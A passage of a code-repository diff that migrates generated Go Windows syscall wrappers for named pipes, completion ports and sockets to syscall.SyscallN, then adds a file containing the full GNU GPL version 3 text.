handle = syscall.Handle(r0)
if handle == syscall.InvalidHandle {
err = errnoErr(e1)
@@ -332,13 +332,13 @@ func _createNamedPipe(name *uint16, flags uint32, pipeMode uint32, maxInstances
}
func getCurrentThread() (h syscall.Handle) {
r0, _, _ := syscall.Syscall(procGetCurrentThread.Addr(), 0, 0, 0, 0)
r0, _, _ := syscall.SyscallN(procGetCurrentThread.Addr())
h = syscall.Handle(r0)
return
}
func getNamedPipeHandleState(pipe syscall.Handle, state *uint32, curInstances *uint32, maxCollectionCount *uint32, collectDataTimeout *uint32, userName *uint16, maxUserNameSize uint32) (err error) {
r1, _, e1 := syscall.Syscall9(procGetNamedPipeHandleStateW.Addr(), 7, uintptr(pipe), uintptr(unsafe.Pointer(state)), uintptr(unsafe.Pointer(curInstances)), uintptr(unsafe.Pointer(maxCollectionCount)), uintptr(unsafe.Pointer(collectDataTimeout)), uintptr(unsafe.Pointer(userName)), uintptr(maxUserNameSize), 0, 0)
r1, _, e1 := syscall.SyscallN(procGetNamedPipeHandleStateW.Addr(), uintptr(pipe), uintptr(unsafe.Pointer(state)), uintptr(unsafe.Pointer(curInstances)), uintptr(unsafe.Pointer(maxCollectionCount)), uintptr(unsafe.Pointer(collectDataTimeout)), uintptr(unsafe.Pointer(userName)), uintptr(maxUserNameSize))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -346,7 +346,7 @@ func getNamedPipeHandleState(pipe syscall.Handle, state *uint32, curInstances *u
}
func getNamedPipeInfo(pipe syscall.Handle, flags *uint32, outSize *uint32, inSize *uint32, maxInstances *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procGetNamedPipeInfo.Addr(), 5, uintptr(pipe), uintptr(unsafe.Pointer(flags)), uintptr(unsafe.Pointer(outSize)), uintptr(unsafe.Pointer(inSize)), uintptr(unsafe.Pointer(maxInstances)), 0)
r1, _, e1 := syscall.SyscallN(procGetNamedPipeInfo.Addr(), uintptr(pipe), uintptr(unsafe.Pointer(flags)), uintptr(unsafe.Pointer(outSize)), uintptr(unsafe.Pointer(inSize)), uintptr(unsafe.Pointer(maxInstances)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -354,7 +354,7 @@ func getNamedPipeInfo(pipe syscall.Handle, flags *uint32, outSize *uint32, inSiz
}
func getQueuedCompletionStatus(port syscall.Handle, bytes *uint32, key *uintptr, o **ioOperation, timeout uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procGetQueuedCompletionStatus.Addr(), 5, uintptr(port), uintptr(unsafe.Pointer(bytes)), uintptr(unsafe.Pointer(key)), uintptr(unsafe.Pointer(o)), uintptr(timeout), 0)
r1, _, e1 := syscall.SyscallN(procGetQueuedCompletionStatus.Addr(), uintptr(port), uintptr(unsafe.Pointer(bytes)), uintptr(unsafe.Pointer(key)), uintptr(unsafe.Pointer(o)), uintptr(timeout))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -362,18 +362,18 @@ func getQueuedCompletionStatus(port syscall.Handle, bytes *uint32, key *uintptr,
}
func localAlloc(uFlags uint32, length uint32) (ptr uintptr) {
r0, _, _ := syscall.Syscall(procLocalAlloc.Addr(), 2, uintptr(uFlags), uintptr(length), 0)
r0, _, _ := syscall.SyscallN(procLocalAlloc.Addr(), uintptr(uFlags), uintptr(length))
ptr = uintptr(r0)
return
}
func localFree(mem uintptr) {
syscall.Syscall(procLocalFree.Addr(), 1, uintptr(mem), 0, 0)
syscall.SyscallN(procLocalFree.Addr(), uintptr(mem))
return
}
func setFileCompletionNotificationModes(h syscall.Handle, flags uint8) (err error) {
r1, _, e1 := syscall.Syscall(procSetFileCompletionNotificationModes.Addr(), 2, uintptr(h), uintptr(flags), 0)
r1, _, e1 := syscall.SyscallN(procSetFileCompletionNotificationModes.Addr(), uintptr(h), uintptr(flags))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -381,25 +381,25 @@ func setFileCompletionNotificationModes(h syscall.Handle, flags uint8) (err erro
}
func ntCreateNamedPipeFile(pipe *syscall.Handle, access uint32, oa *objectAttributes, iosb *ioStatusBlock, share uint32, disposition uint32, options uint32, typ uint32, readMode uint32, completionMode uint32, maxInstances uint32, inboundQuota uint32, outputQuota uint32, timeout *int64) (status ntstatus) {
r0, _, _ := syscall.Syscall15(procNtCreateNamedPipeFile.Addr(), 14, uintptr(unsafe.Pointer(pipe)), uintptr(access), uintptr(unsafe.Pointer(oa)), uintptr(unsafe.Pointer(iosb)), uintptr(share), uintptr(disposition), uintptr(options), uintptr(typ), uintptr(readMode), uintptr(completionMode), uintptr(maxInstances), uintptr(inboundQuota), uintptr(outputQuota), uintptr(unsafe.Pointer(timeout)), 0)
r0, _, _ := syscall.SyscallN(procNtCreateNamedPipeFile.Addr(), uintptr(unsafe.Pointer(pipe)), uintptr(access), uintptr(unsafe.Pointer(oa)), uintptr(unsafe.Pointer(iosb)), uintptr(share), uintptr(disposition), uintptr(options), uintptr(typ), uintptr(readMode), uintptr(completionMode), uintptr(maxInstances), uintptr(inboundQuota), uintptr(outputQuota), uintptr(unsafe.Pointer(timeout)))
status = ntstatus(r0)
return
}
func rtlDefaultNpAcl(dacl *uintptr) (status ntstatus) {
r0, _, _ := syscall.Syscall(procRtlDefaultNpAcl.Addr(), 1, uintptr(unsafe.Pointer(dacl)), 0, 0)
r0, _, _ := syscall.SyscallN(procRtlDefaultNpAcl.Addr(), uintptr(unsafe.Pointer(dacl)))
status = ntstatus(r0)
return
}
func rtlDosPathNameToNtPathName(name *uint16, ntName *unicodeString, filePart uintptr, reserved uintptr) (status ntstatus) {
r0, _, _ := syscall.Syscall6(procRtlDosPathNameToNtPathName_U.Addr(), 4, uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(ntName)), uintptr(filePart), uintptr(reserved), 0, 0)
r0, _, _ := syscall.SyscallN(procRtlDosPathNameToNtPathName_U.Addr(), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(ntName)), uintptr(filePart), uintptr(reserved))
status = ntstatus(r0)
return
}
func rtlNtStatusToDosError(status ntstatus) (winerr error) {
r0, _, _ := syscall.Syscall(procRtlNtStatusToDosErrorNoTeb.Addr(), 1, uintptr(status), 0, 0)
r0, _, _ := syscall.SyscallN(procRtlNtStatusToDosErrorNoTeb.Addr(), uintptr(status))
if r0 != 0 {
winerr = syscall.Errno(r0)
}
@@ -411,7 +411,7 @@ func wsaGetOverlappedResult(h syscall.Handle, o *syscall.Overlapped, bytes *uint
if wait {
_p0 = 1
}
r1, _, e1 := syscall.Syscall6(procWSAGetOverlappedResult.Addr(), 5, uintptr(h), uintptr(unsafe.Pointer(o)), uintptr(unsafe.Pointer(bytes)), uintptr(_p0), uintptr(unsafe.Pointer(flags)), 0)
r1, _, e1 := syscall.SyscallN(procWSAGetOverlappedResult.Addr(), uintptr(h), uintptr(unsafe.Pointer(o)), uintptr(unsafe.Pointer(bytes)), uintptr(_p0), uintptr(unsafe.Pointer(flags)))
if r1 == 0 {
err = errnoErr(e1)
}
@@ -419,7 +419,7 @@ func wsaGetOverlappedResult(h syscall.Handle, o *syscall.Overlapped, bytes *uint
}
func bind(s syscall.Handle, name unsafe.Pointer, namelen int32) (err error) {
r1, _, e1 := syscall.Syscall(procbind.Addr(), 3, uintptr(s), uintptr(name), uintptr(namelen))
r1, _, e1 := syscall.SyscallN(procbind.Addr(), uintptr(s), uintptr(name), uintptr(namelen))
if r1 == socketError {
err = errnoErr(e1)
}
+674
View File
@@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
Loaded 100 of 1388 files, more files were not shown because too many files have changed in this diff. Show more